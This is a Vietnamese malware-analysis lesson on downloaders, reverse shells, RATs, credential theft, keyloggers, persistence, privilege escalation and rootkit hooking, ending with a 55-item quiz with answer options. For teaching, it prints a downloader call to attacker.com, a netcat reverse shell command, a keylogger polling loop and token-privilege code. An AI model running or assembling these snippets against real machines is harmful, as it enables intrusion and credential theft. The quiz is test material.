Bài 5: Malware Behavior

1. Downloaders và Launchers

1.1 Downloaders

Downloader là loại malware có nhiệm vụ tải về một malware khác từ internet và thực thi nó trên hệ thống nạn nhân. Đây là một trong những loại malware phổ biến nhất trong giai đoạn đầu của chuỗi tấn công (infection chain).

Windows API thường dùng:

URLDownloadToFileA(NULL, "http://attacker.com/payload.exe", "C:\\temp\\payload.exe", 0, NULL);
WinExec("C:\\temp\\payload.exe", SW_HIDE);

Staged vs Stageless:

Toàn bộ payload được nhúng trực tiếp vào file malware. Khi thực thi, reverse shell hoặc payload kết nối thẳng về máy attacker mà không cần tải thêm gì.

  • Ưu điểm: Đơn giản, không cần kết nối C2 để lấy stage 2
  • Nhược điểm: File lớn hơn, dễ bị phát hiện bởi AV hơn

Dropper (stage 1) nhỏ gọn, chỉ có nhiệm vụ beacon về C2 Server để tải về và inject stage 2 (payload thực sự) vào bộ nhớ.

  • Ưu điểm: File nhỏ, khó phát hiện hơn, payload không lưu trên disk
  • Nhược điểm: Cần kết nối mạng để hoạt động, dễ bị chặn ở network layer
sequenceDiagram participant V as Victim participant C2 as C2 Server V->>C2: Dropper beacons out (stage 1) C2-->>V: Download & inject stage 2 V->>C2: Reverse Shell Established

1.2 Launchers (Loaders)

Launcher (hay còn gọi là Loader) là malware chuẩn bị và thực thi một malware khác theo cách bí mật (covert execution), có thể ngay lập tức hoặc vào thời điểm sau. Điểm đặc biệt là loader thường lưu trữ payload ở những nơi bất ngờ như section .rsrc của PE file.

Các vector lây nhiễm phổ biến của Loaders:

  • ISO files chứa các file khác (ZIP, LNK)
  • ZIP files chứa ISO, LNK, DLL
  • LNK (shortcut) files trỏ đến payload
  • HTML files chứa JavaScript và DLL nhúng bên trong

Công cụ thường dùng bởi Loaders:

  • Commercial tools: Cobalt Strike, Brute Ratel
  • LOLBins (Living-off-the-Land Binaries): PowerShell, regsvr32.exe, rundll32.exe, curl.exe, calc.exe

2. Backdoors

Backdoor cung cấp quyền truy cập từ xa vào máy nạn nhân. Đây là loại malware phổ biến nhất.

Đặc điểm:

  • Thường giao tiếp qua HTTP trên Port 80 để trốn tránh firewall
  • Network signatures rất hữu ích cho việc phát hiện
  • Các khả năng thông thường: thao tác Registry, liệt kê cửa sổ, tạo thư mục, tìm kiếm file, v.v.

2.1 Reverse Shell

Reverse shell là kết nối khởi tạo từ máy nạn nhân ra ngoài đến máy attacker, cung cấp shell access. Khác với bind shell (attacker kết nối vào), reverse shell vượt qua firewall dễ hơn vì traffic xuất phát từ bên trong mạng nội bộ.

sequenceDiagram participant V as Victim (Infected) participant A as Attacker (C2) V->>A: Kết nối ra ngoài (outbound) A-->>V: Gửi lệnh V-->>A: Trả kết quả Note over A: Attacker có shell như ngồi trực tiếp trên máy nạn nhân

Netcat Reverse Shell:

# Trên máy attacker (listener)
ncat -l -p 80

# Trên máy nạn nhân (gửi shell về attacker)
ncat 192.168.1.100 80 -e cmd.exe
  • -l: listening mode
  • -p: chỉ định port lắng nghe
  • -e: chỉ định chương trình thực thi khi kết nối thành công (thường là cmd.exe trên Windows)

2.2 Windows Reverse Shell — Basic vs Multithreaded

  1. Tạo một socket kết nối đến máy attacker
  2. Gọi CreateProcess với cấu trúc STARTUPINFO được chỉnh sửa
  3. Gắn socket vào stdin, stdout, stderr của cmd.exe
  4. CreateProcess chạy cmd.exe với cửa sổ ẩn (suppressed window)

Phức tạp hơn, thường dùng để mã hóa/encode dữ liệu truyền qua socket.

Thành phần:

  • 1 socket kết nối đến attacker
  • 2 pipes (dùng CreatePipe)
  • 2 threads (dùng CreateThread)

Luồng hoạt động:

  • CreateProcess gắn stdin/stdout của cmd.exe vào pipes (không phải thẳng vào socket)
  • Thread 1: Đọc từ stdin pipe → encode dữ liệu → ghi vào socket
  • Thread 2: Đọc từ socket → decode dữ liệu → ghi vào stdout pipe

2.3 RATs (Remote Administration Tools)

RAT dùng để điều khiển từ xa một hoặc nhiều máy tính. Thường dùng trong targeted attacks với mục tiêu cụ thể như đánh cắp thông tin hoặc lateral movement.

Kiến trúc:

Thành phầnVai trò
ServerCài trên máy nạn nhân (implant), beacon về client
ClientChạy trên máy attacker, điều khiển toàn bộ
  • Server tự động beacon đến client để thiết lập kết nối
  • Giao tiếp thường qua port 80 và 443

Phân biệt RAT vs Botnet:

Tiêu chíRATBotnet
Số lượng nạn nhânÍt, có chọn lọcHàng nghìn/triệu
Cách điều khiểnTừng máy mộtTất cả cùng lúc
Mục đíchTargeted attackMass attack (DDoS, spam)

2.4 Botnets

Botnet là tập hợp các máy bị chiếm quyền (gọi là zombies), điều khiển bởi một entity duy nhất thông qua botnet controller server.

Mục tiêu:

  • Lây nhiễm càng nhiều host càng tốt
  • Dùng để phát tán malware khác, spam, hoặc thực hiện DDoS
  • Có thể hạ gục một website bằng cách cho toàn bộ zombie tấn công đồng thời

3. Credential Stealers

3.1 Ba phương thức đánh cắp credential

  1. Chờ user đăng nhập và đánh cắp credential ngay khi nhập
  2. Dump dữ liệu đã lưu, ví dụ: password hashes
  3. Keylogging — ghi lại các phím được nhấn

3.2 Windows Credentials

Các nguồn credential trên Windows:

  • SAM (Security Account Manager) — lưu password hash của local user
  • Cached Domain Credentials — lưu hash của domain user để đăng nhập offline
  • LSASS Memory — chứa credential đang active trong session
  • LSA Secrets — lưu password cho services, scheduled tasks
  • NTDS.dit — database của Active Directory (trên Domain Controller)

Công cụ phổ biến: Mimikatz, Fgdump

MITRE ATT&CK T1003 — OS Credential Dumping:

Sub-techniqueMô tả
T1003.001LSASS Memory
T1003.002Security Account Manager
T1003.003NTDS
T1003.004LSA Secrets
T1003.005Cached Domain Credentials
T1003.006DCSync
T1003.007Proc Filesystem
T1003.008/etc/passwd and /etc/shadow

3.3 Hash Dumping

Windows lưu password dưới dạng LM hoặc NTLM hash.

Hai cách tấn công từ hash:

  1. Pass-the-Hash: Dùng hash trực tiếp để xác thực (không cần crack)
  2. Offline cracking: Crack hash để tìm ra plaintext password

Pwdump:

  • Inject lsaext.dll vào process lsass.exe
  • Gọi export function GetHash trong DLL đó
  • Dùng các undocumented Windows function để trích xuất hash:
    • samsrv.dll — truy cập SAM database
    • advapi32.dll — truy cập các function chưa được import vào lsass
    • SamIGetPrivateData — trích xuất hash
    • SystemFunction025SystemFunction027 — giải mã hash
Tại sao inject vào LSASS?
- LSASS chạy với đặc quyền cao
- Có quyền truy cập nhiều API hữu ích
- DLL inject chạy trong context của LSASS → có toàn bộ đặc quyền của LSASS

Pass-the-Hash Toolkit (whosthere-alt):

  • Cũng inject DLL vào lsass.exe
  • Dùng API khác: LsaEnumerateLogonSessions từ secur32.dll
  • Load msv1_0.dll để truy cập credential

3.4 Keystroke Logging

Kernel-Based Keyloggers:

  • Hoạt động như keyboard driver
  • Khó phát hiện bằng user-mode applications
  • Thường là một phần của rootkit
  • Bypass hoàn toàn user-space protections

User-Space Keyloggers — 2 phương pháp:

Dùng SetWindowsHookEx để đăng ký callback, OS tự động gọi hàm của malware mỗi khi có phím được nhấn.

SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, 0);

Malware liên tục vòng lặp kiểm tra trạng thái từng phím.

// Vòng lặp chính
while(true) {
    HWND hwnd = GetForegroundWindow(); // Xác định cửa sổ đang active
    for(int key = 8; key <= 190; key++) {
        if(GetAsyncKeyState(key) & 0x0001) { // Phím này vừa được nhấn?
            // Log phím và cửa sổ hiện tại
        }
    }
    Sleep(10);
}
flowchart TD A[Gọi GetForegroundWindow] --> B{Cửa sổ mới?} B -- Có --> C[Log tên cửa sổ] B -- Không --> D[Gọi GetAsyncKeyState cho từng phím] C --> D D --> E{Phím được nhấn?} E -- Có --> F[Log phím] E -- Không --> G{Duyệt hết tất cả phím?} F --> G G -- Không --> D G -- Có --> A

Nhận biết keylogger qua Strings listing:

Trong disassembly, tìm các chuỗi như [Up], [Down], [Left], [Right], [Num Lock], [PageDown] — đây là các label mà keylogger dùng để ghi lại phím đặc biệt vào log file.


4. Persistence Mechanisms

Sau khi xâm nhập, malware cần duy trì sự hiện diện qua mỗi lần reboot — gọi là persistence.


4.1 Registry — Run Key

Key phổ biến nhất:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Malware thêm entry vào đây để tự động chạy khi Windows khởi động.

Công cụ phát hiện:

  • Autoruns (Sysinternals) — liệt kê tất cả chương trình tự động chạy
  • ProcMon — monitor registry modification trong realtime

4.2 AppInit_DLLs

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
  • Chứa danh sách DLL (phân cách bởi dấu cách)
  • Tất cả DLL trong list này được load vào mọi process có load User32.dll
  • Vì hầu hết GUI application đều load User32.dll, malware sẽ được inject vào rất nhiều process

Kỹ thuật của malware: Trong DllMain, kiểm tra xem đang chạy trong process nào trước khi kích hoạt payload — tránh crash các process không mong muốn.


4.3 Winlogon Notify

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Winlogon\Notify

Malware hook vào các sự kiện của winlogon.exe:

  • Logon / Logoff
  • Startup / Shutdown
  • Lock screen

4.4 Svchost DLLs

svchost.exe là generic host process cho các Windows services chạy dưới dạng DLL.

# Groups định nghĩa tại:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost

# Service cụ thể định nghĩa tại:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\<ServiceName>\Parameters\ServiceDLL

Kỹ thuật malware:

  • Thêm mình vào một group sẵn có (thường là netsvcs)
  • Hoặc ghi đè một service ít dùng
  • Set ServiceDLL trỏ đến DLL độc hại
Phát hiện:
- Dynamic analysis: Monitor registry bằng ProcMon
- Static analysis: Tìm API calls như CreateServiceA trong disassembly

4.5 Trojanized System Binaries

Malware patch trực tiếp bytes vào system binary (thường là DLL).

Quy trình:

  1. Tìm vùng trống trong binary (thường ở cuối section)
  2. Chèn shellcode vào vùng trống đó
  3. Sửa entry point function để nhảy đến shellcode
  4. Sau khi shellcode chạy xong, nhảy trở lại hàm DllEntryPoint gốc để DLL hoạt động bình thường
Original:   DllEntryPoint → [code bình thường]
Trojaned:   DllEntryPoint → jmp [shellcode] → [code bình thường]

4.6 DLL Load-Order Hijacking

Windows tìm kiếm DLL theo thứ tự mặc định trên XP:

  1. Thư mục chứa application
  2. Current directory
  3. System directory (C:\Windows\System32)
  4. 16-bit system directory (C:\Windows\System)
  5. Windows directory (C:\Windows)
  6. Các thư mục trong biến môi trường PATH

Khai thác: Đặt DLL độc hại vào thư mục được tìm kiếm trước, với cùng tên DLL hợp lệ mà application cần load.

KnownDLLs Registry Key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Chứa danh sách DLL với đường dẫn cố định, override search order. Tuy nhiên, không bảo vệ hoàn toàn vì:

  • DLL load-order hijacking chỉ áp dụng cho binary ngoài System32
  • Load DLL trong System32
  • DLL đó không nằm trong KnownDLLs

Ví dụ: explorer.exe:

  • explorer.exe nằm ở C:\Windows (không phải System32)
  • Load ntshrui.dll từ System32
  • ntshrui.dll không có trong KnownDLLs
  • → Đặt ntshrui.dll độc hại vào C:\Windows, nó sẽ được load thay vì bản gốc

5. Privilege Escalation

5.1 Windows XP và trước đó

Phần lớn user XP chạy với quyền Administrator thường xuyên → không cần escalate để có admin.

Metasploit có nhiều exploit privilege escalation sẵn có. DLL load-order hijacking cũng có thể dùng để leo thang đặc quyền.


5.2 SeDebugPrivilege

Một số function như TerminateProcess, CreateRemoteThread đòi hỏi System privileges (cao hơn Administrator).

SeDebugPrivilege ban đầu được thiết kế cho mục đích debug, nhưng cho phép local Administrator leo thang lên System.

// Bước 1: Lấy access token của process hiện tại
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle);

// Bước 2: Tìm LUID của SeDebugPrivilege
LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &Luid);

// Bước 3: Kích hoạt privilege
AdjustTokenPrivileges(TokenHandle, FALSE, &NewState, ...);

6. User-Mode Rootkits

Rootkit ẩn sự hiện diện của malware bằng cách sửa đổi chức năng nội bộ của OS — ẩn file, network connections, processes.

Kernel-mode rootkit mạnh hơn, nhưng phần này tập trung vào user-mode rootkits.


6.1 IAT Hooking

PE file có IAT (Import Address Table) chứa địa chỉ của các imported functions. Khi program gọi TerminateProcess, nó thực ra lookup địa chỉ trong IAT.

Kỹ thuật: Malware thay đổi địa chỉ trong IAT → chỉ đến hàm của malware thay vì hàm gốc.

flowchart LR A[Program gọi TerminateProcess] --> B[Lookup IAT] B -- Bình thường --> C[kernel32.dll::TerminateProcess] B -- Sau khi hook --> D[Malware Hook Function] D --> E[Có thể gọi hàm gốc hoặc không]

6.2 Inline Hooking

Thay vì sửa con trỏ trong IAT, inline hooking ghi đè trực tiếp code của API function trong DLL.

Kỹ thuật phổ biến:

  1. Ghi JMP <malware_function> vào vài byte đầu của API function gốc
  2. Khi program gọi API, nó nhảy vào hàm của malware trước
  3. Malware có thể xử lý, lọc kết quả, rồi gọi tiếp hàm gốc (hoặc không)
Loại hookThay đổiPhát hiện
IAT HookingCon trỏ trong IAT của processSo sánh IAT với bản gốc
Inline HookingCode thực tế của API trong DLLSo sánh bytes của DLL với bản trên disk

7.1 Tactics theo tần suất

TacticAlert count
Defense Evasion302,004
Privilege Escalation153,015
Execution101,456
Persistence63,357
Initial Access30,580
Credential Access13,712
Command and Control13,712
Discovery11,699

7.2 Defense Evasion — Top techniques

  • Process Injection (173,550 alerts) — phổ biến nhất
  • Impair Defenses — vô hiệu hóa Windows Defender, AV
  • Modify Registry
  • Masquerading — giả mạo tên process, service
  • Hijack Execution Flow — DLL sideloading, search order hijacking
  • System Binary Proxy Execution — rundll32, regsvr32, msiexec, mshta

7.3 Privilege Escalation — Top techniques

  • Access Token Manipulation (151,427 alerts) — áp đảo
    • Create Process with Token
    • Token Impersonation/Theft
  • Create or Modify System Process — Windows Service
  • Bypass UAC

7.4 Persistence — Top techniques

  • Scheduled Task (21,289 alerts) — phổ biến nhất
  • Registry Run Keys / Startup Folder (14,355 alerts)
  • Windows Service (660 alerts)
  • Image File Execution Options Injection
  • Shortcut Modification

7.5 Credential Access — Top techniques

  • Windows Credential Manager (14,329 alerts)
  • Credentials in Files
  • Credentials from Web Browsers
  • LSASS Memory
  • NTDS (Active Directory)

Câu hỏi trắc nghiệm

Câu 1. Downloader sử dụng cặp Windows API nào để tải và thực thi malware?

  • A. CreateProcessWriteFile
  • B. URLDownloadToFileAWinExec
  • C. HttpSendRequestShellExecute
  • D. InternetOpenUrlCreateThread

Câu 2. Điểm khác biệt chính giữa staged và stageless payload là gì?

  • A. Staged chạy nhanh hơn stageless
  • B. Stageless nhỏ hơn staged
  • C. Staged tải payload từ C2 server trong runtime; stageless nhúng toàn bộ payload ngay từ đầu
  • D. Staged không cần kết nối mạng

Câu 3. Loader thường lưu trữ malware ở đâu trong PE file?

  • A. Section .text
  • B. Section .data
  • C. Section .rsrc
  • D. Section .idata

Câu 4. Tại sao backdoor thường dùng Port 80 để giao tiếp?

  • A. Port 80 có băng thông cao nhất
  • B. Port 80 là HTTP, thường được firewall cho phép qua, giúp traffic của malware lẫn vào traffic web bình thường
  • C. Port 80 nhanh hơn các port khác
  • D. Vì đây là port duy nhất không cần xác thực

Câu 5. Reverse shell khác bind shell ở điểm nào?

  • A. Reverse shell chạy trên Linux; bind shell chạy trên Windows
  • B. Trong reverse shell, kết nối khởi tạo từ máy nạn nhân ra ngoài; trong bind shell, attacker kết nối vào port đang listen trên máy nạn nhân
  • C. Reverse shell mã hóa dữ liệu; bind shell không
  • D. Reverse shell chỉ dùng được với Netcat

Câu 6. Trong Netcat reverse shell, option -e dùng để làm gì?

  • A. Mã hóa kết nối
  • B. Chỉ định chương trình thực thi khi kết nối thành công, gắn stdin/stdout của nó vào socket
  • C. Enable verbose logging
  • D. Chỉ định encoding của dữ liệu

Câu 7. Multithreaded reverse shell dùng hai thread để làm gì?

  • A. Thread 1 tấn công, Thread 2 phòng thủ
  • B. Thread 1: đọc stdin pipe → ghi socket; Thread 2: đọc socket → ghi stdout pipe
  • C. Thread 1 handle IPv4, Thread 2 handle IPv6
  • D. Thread 1 encode, Thread 2 mã hóa

Câu 8. API nào được dùng trong multithreaded reverse shell để tạo pipe?

  • A. CreateFile
  • B. OpenPipe
  • C. CreatePipe
  • D. PipeCreate

Câu 9. RAT khác botnet ở điểm nào quan trọng nhất?

  • A. RAT dùng TCP; botnet dùng UDP
  • B. RAT kiểm soát từng nạn nhân có chủ đích; botnet điều khiển hàng loạt host cùng lúc
  • C. RAT chỉ chạy trên Windows; botnet đa nền tảng
  • D. RAT không cần C2 server

Câu 10. Trong kiến trúc RAT, “server” là gì?

  • A. Máy chủ của attacker chạy phần mềm điều khiển
  • B. Implant malware cài trên máy nạn nhân, beacon về attacker
  • C. Firewall của nạn nhân
  • D. C2 server trung gian

Câu 11. Zombie trong botnet là gì?

  • A. Tên gọi cho attacker
  • B. Máy tính bị chiếm quyền kiểm soát và là thành viên của botnet
  • C. C2 server bị hỏng
  • D. Malware đã bị xóa nhưng để lại dấu vết

Câu 12. Ba phương thức đánh cắp credential phổ biến là gì?

  • A. Phishing, brute force, social engineering
  • B. Chờ user login để steal, dump stored hashes, keylogging
  • C. SQL injection, XSS, CSRF
  • D. Man-in-the-middle, replay attack, credential stuffing

Câu 13. Pwdump inject DLL vào process nào để lấy hash?

  • A. winlogon.exe
  • B. explorer.exe
  • C. lsass.exe
  • D. csrss.exe

Câu 14. Tại sao LSASS là mục tiêu hấp dẫn để inject DLL?

  • A. Vì LSASS dễ bị terminate
  • B. LSASS chạy với đặc quyền cao và có quyền truy cập nhiều API hữu ích
  • C. LSASS không bị giám sát bởi AV
  • D. LSASS là process duy nhất không cần UAC

Câu 15. SamIGetPrivateDataSystemFunction025/027 là loại function gì?

  • A. Documented Microsoft API
  • B. Undocumented Windows internal functions
  • C. Third-party library functions
  • D. Linux system calls

Câu 16. Pass-the-Hash attack là gì?

  • A. Crack hash để ra plaintext password
  • B. Dùng hash trực tiếp để xác thực mà không cần biết plaintext password
  • C. Truyền hash qua network để đánh cắp
  • D. Hash lại password nhiều lần

Câu 17. Kernel-based keylogger khác user-space keylogger ở điểm gì?

  • A. Kernel keylogger chỉ hoạt động trên Windows XP
  • B. Kernel keylogger hoạt động ở tầng driver, khó phát hiện hơn bằng user-mode tools, thường là phần của rootkit
  • C. Kernel keylogger lưu log vào kernel memory còn user-space lưu vào disk
  • D. Không có sự khác biệt đáng kể

Câu 18. SetWindowsHookEx với tham số WH_KEYBOARD_LL dùng để làm gì?

  • A. Disable keyboard
  • B. Đăng ký low-level keyboard hook — OS sẽ gọi callback của malware mỗi khi có keystroke
  • C. Log keyboard layout
  • D. Encrypt keyboard input

Câu 19. GetAsyncKeyState dùng để làm gì trong polling keylogger?

  • A. Lấy tốc độ phím bấm
  • B. Kiểm tra trạng thái (pressed/unpressed) của một phím cụ thể tại thời điểm gọi hàm
  • C. Lấy danh sách tất cả phím đang được giữ
  • D. Reset trạng thái bàn phím

Câu 20. Tại sao chuỗi như [Up], [Num Lock] trong strings listing của một binary là dấu hiệu của keylogger?

  • A. Đây là tên các API function của keylogger
  • B. Keylogger dùng các chuỗi này làm label khi ghi phím đặc biệt vào log file
  • C. Đây là tên registry key của keylogger
  • D. Các chuỗi này là mã lỗi của keylogger

Câu 21. Registry key nào là persistence mechanism phổ biến nhất?

  • A. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
  • B. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • C. HKLM\SYSTEM\CurrentControlSet\Services
  • D. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost

Câu 22. AppInit_DLLs được load vào process nào?

  • A. Chỉ vào svchost.exe
  • B. Chỉ vào explorer.exe
  • C. Vào mọi process có load User32.dll
  • D. Vào mọi process hệ thống

Câu 23. Tại sao malware dùng AppInit_DLLs cần kiểm tra process name trong DllMain?

  • A. Để tối ưu performance
  • B. Để tránh crash các process không phải mục tiêu — chỉ kích hoạt payload trong process cụ thể
  • C. Để bypass UAC
  • D. Để hide khỏi Process Explorer

Câu 24. Winlogon Notify persistence đặc biệt nguy hiểm vì điều gì?

  • A. Khó xóa hơn Run key
  • B. Có thể load ngay cả trong Safe Mode
  • C. Không bị Autoruns phát hiện
  • D. Tự tái tạo sau khi bị xóa

Câu 25. ServiceDLL value trong registry của một Windows service chứa gì?

  • A. Tên của service
  • B. Đường dẫn đến DLL thực thi logic của service đó, được load bởi svchost.exe
  • C. User account mà service chạy dưới đó
  • D. Dependencies của service

Câu 26. Malware thường thêm mình vào nhóm svchost nào và tại sao?

  • A. LocalService — vì có ít quyền nhất
  • B. netsvcs — đây là group lớn chứa nhiều service, dễ lẫn vào
  • C. NetworkService — vì cần kết nối mạng
  • D. LocalSystem — vì có quyền cao nhất

Câu 27. Trong Trojanized System Binary, malware thường modify gì đầu tiên?

  • A. Toàn bộ binary được viết lại
  • B. Entry function (như DllEntryPoint) được sửa để nhảy đến malicious code trước
  • C. Checksum của file được cập nhật
  • D. Metadata trong PE header

Câu 28. Thứ tự tìm kiếm DLL trên Windows XP, vị trí nào được tìm trước tiên?

  • A. C:\Windows\System32
  • B. C:\Windows
  • C. Thư mục chứa application đang chạy
  • D. Biến môi trường PATH

Câu 29. KnownDLLs registry key làm gì trong bối cảnh DLL load-order?

  • A. Liệt kê tất cả DLL nguy hiểm
  • B. Override search order — DLL trong list này luôn được load từ đường dẫn cố định, không qua search order
  • C. Block các DLL không được phép
  • D. Cache DLL để tăng tốc load

Câu 30. Tại sao explorer.exe vulnerable với DLL load-order hijacking?

  • A. Vì explorer.exe không được Microsoft ký
  • B. Explorer.exe nằm ở C:\Windows (không phải System32), load nhiều DLL từ System32 mà không nằm trong KnownDLLs
  • C. Explorer.exe chạy với quyền SYSTEM
  • D. Explorer.exe không kiểm tra integrity của DLL

Câu 31. SeDebugPrivilege cho phép làm gì?

  • A. Cho phép debug kernel mode
  • B. Cho phép local Administrator escalate lên System privileges
  • C. Cho phép bypass file system permissions
  • D. Cho phép disable AV

Câu 32. Thứ tự các API call khi malware kích hoạt SeDebugPrivilege là gì?

  • A. OpenProcessVirtualAllocExWriteProcessMemory
  • B. OpenProcessTokenLookupPrivilegeValueAdjustTokenPrivileges
  • C. CreateTokenSetPrivilegeImpersonateToken
  • D. GetCurrentProcessDuplicateTokenSetThreadToken

Câu 33. IAT hooking thay đổi gì?

  • A. Code thực tế của API function trong DLL
  • B. Con trỏ hàm trong Import Address Table của process mục tiêu
  • C. Export table của DLL
  • D. Stack frame của function call

Câu 34. Inline hooking khác IAT hooking ở điểm gì?

  • A. Inline hooking chỉ hoạt động trên 64-bit
  • B. Inline hooking ghi đè bytes đầu của code API function thực tế trong DLL, không sửa pointer trong IAT
  • C. Inline hooking không thể bị phát hiện
  • D. Inline hooking chỉ hook kernel functions

Câu 35. Theo dữ liệu Elastic từ 100,000+ mẫu malware, tactic nào có alert count cao nhất?

  • A. Execution
  • B. Persistence
  • C. Defense Evasion
  • D. Privilege Escalation

Câu 36. Technique nào chiếm đa số alerts trong Defense Evasion theo dữ liệu Elastic?

  • A. Masquerading
  • B. Modify Registry
  • C. Process Injection
  • D. Impair Defenses

Câu 37. Trong dữ liệu Elastic, sub-technique nào dẫn đầu Privilege Escalation?

  • A. Bypass User Account Control
  • B. DLL Search Order Hijacking
  • C. Create Process with Token / Token Impersonation/Theft
  • D. Windows Service

Câu 38. Persistence technique nào phổ biến nhất theo dữ liệu Elastic?

  • A. Registry Run Keys / Startup Folder
  • B. Scheduled Task
  • C. Windows Service
  • D. Image File Execution Options Injection

Câu 39. Trong Credential Access theo dữ liệu Elastic, nguồn credential nào bị tấn công nhiều nhất?

  • A. LSASS Memory
  • B. NTDS
  • C. Windows Credential Manager
  • D. Security Account Manager

Câu 40. LOLBins (Living-off-the-Land Binaries) là gì và tại sao malware dùng chúng?

  • A. Malware tự viết giống system binary để đánh lừa
  • B. Các binary hợp lệ của hệ thống (như PowerShell, rundll32) bị lợi dụng để thực thi malicious code, giúp tránh phát hiện vì chúng được trust sẵn
  • C. Các binary được download từ internet để bypass AV
  • D. Tool của attacker được disguise thành system binary

Câu 41. Công cụ Sysinternals nào hữu ích nhất để phát hiện persistence mechanism?

  • A. Process Monitor (ProcMon)
  • B. Autoruns
  • C. Process Explorer
  • D. TCPView

Câu 42. Tại sao botnets có thể hạ gục website?

  • A. Bằng cách exploit SQL injection trong database
  • B. Bằng cách cho toàn bộ zombie tấn công (gửi request) đến website cùng lúc — DDoS
  • C. Bằng cách cài malware lên web server
  • D. Bằng cách DNS poisoning

Câu 43. Katz Stealer đánh cắp credential từ Chrome bằng phương pháp nào?

  • A. Brute force master password
  • B. Inject DLL vào browser process, gọi internal browser functions để bypass Application-Bound Encryption
  • C. Đọc trực tiếp từ file SQLite trên disk
  • D. Hook network traffic

Câu 44. Katz Stealer lấy password từ Firefox như thế nào?

  • A. Hook NSS_Init function
  • B. Collect các file logins.json, key4.db, cookies.sqlite từ Firefox profile directory để decrypt offline
  • C. Inject vào Firefox process tương tự Chrome
  • D. Intercept master password khi user nhập

Câu 45. DLL Side-Loading là gì?

  • A. Load DLL vào side process thay vì main process
  • B. Đặt DLL độc hại cùng thư mục với application hợp lệ, application sẽ load DLL giả thay vì DLL thật
  • C. Load DLL từ network share
  • D. Chạy DLL trong isolated environment

Câu 46. Process Hollowing là gì?

  • A. Xóa rỗng bộ nhớ của process
  • B. Tạo process hợp lệ ở trạng thái suspended, unmap code gốc, inject malicious code vào, rồi resume
  • C. Tạo process ảo (virtual process)
  • D. Clone một process hợp lệ

Câu 47. Tại sao malware thường ghi đè service ít được dùng thay vì tạo service mới?

  • A. Service mới cần restart Windows
  • B. Service ít dùng ít bị theo dõi; ghi đè service sẵn có ít gây nghi ngờ hơn tạo service lạ
  • C. Windows giới hạn số lượng service
  • D. Service mới bị AV block tự động

Câu 48. Image File Execution Options (IFEO) Injection dùng để làm gì trong persistence?

  • A. Inject DLL vào image file của Windows
  • B. Set debugger cho một executable — khi file đó chạy, Windows thay vào đó chạy “debugger” (là malware)
  • C. Sửa đổi PE header của executable
  • D. Block execution của AV

Câu 49. Masquerading trong context malware có nghĩa là gì?

  • A. Mã hóa traffic
  • B. Đặt tên process/file/service giống tên hợp lệ của Windows để tránh bị phát hiện
  • C. Giả mạo địa chỉ IP
  • D. Sử dụng stolen certificate

Câu 50. CreateRemoteThread API thường dùng cho mục đích gì trong malware?

  • A. Tạo remote desktop session
  • B. Inject code vào process khác bằng cách tạo thread trong context của process đó
  • C. Tạo thread kết nối đến remote server
  • D. Clone thread từ process này sang process khác

Câu 51. Theo dữ liệu Elastic, rule nào trigger nhiều nhất trong Privilege Escalation?

  • A. UAC Bypass Attempt via Windows Directory Masquerading
  • B. Suspicious Impersonation as Trusted Installer
  • C. Privilege Escalation via EXTENDED_STARTUPINFO
  • D. Driver Dropped by Untrusted Executable

Câu 52. Chromium Application-Bound Encryption (ABE) bảo vệ gì và cách Katz Stealer bypass?

  • A. ABE mã hóa network traffic; Katz Stealer dùng MITM
  • B. ABE mã hóa cookies/passwords bằng key gắn với user login; Katz Stealer bypass bằng cách chạy bên trong browser process để có cùng quyền truy cập
  • C. ABE kiểm tra certificate; Katz Stealer dùng stolen cert
  • D. ABE là hardware encryption; Katz Stealer dùng kernel exploit

Câu 53. Staged malware có ưu điểm gì so với stageless về mặt evasion?

  • A. Staged nhanh hơn
  • B. Payload thực sự không tồn tại trên disk cho đến khi được download và inject vào memory — không có file để AV scan tĩnh
  • C. Staged dùng ít RAM hơn
  • D. Staged không cần internet connection

Câu 54. Tại sao multithreaded reverse shell khó phân tích network hơn basic reverse shell?

  • A. Dùng UDP thay TCP
  • B. Các thread thực hiện encode/decode dữ liệu trước khi gửi/nhận qua socket — network capture chứa dữ liệu đã bị biến đổi
  • C. Traffic được encrypt bằng TLS
  • D. Dùng nhiều connection song song

Câu 55. Khi phân tích binary và thấy import LsaEnumerateLogonSessions từ secur32.dll, đây có thể là dấu hiệu của gì?

  • A. Keylogger
  • B. Pass-the-Hash Toolkit (whosthere-alt variant) đang enumerate các logon session để dump credential
  • C. RAT đang liệt kê user
  • D. Persistence mechanism dùng Winlogon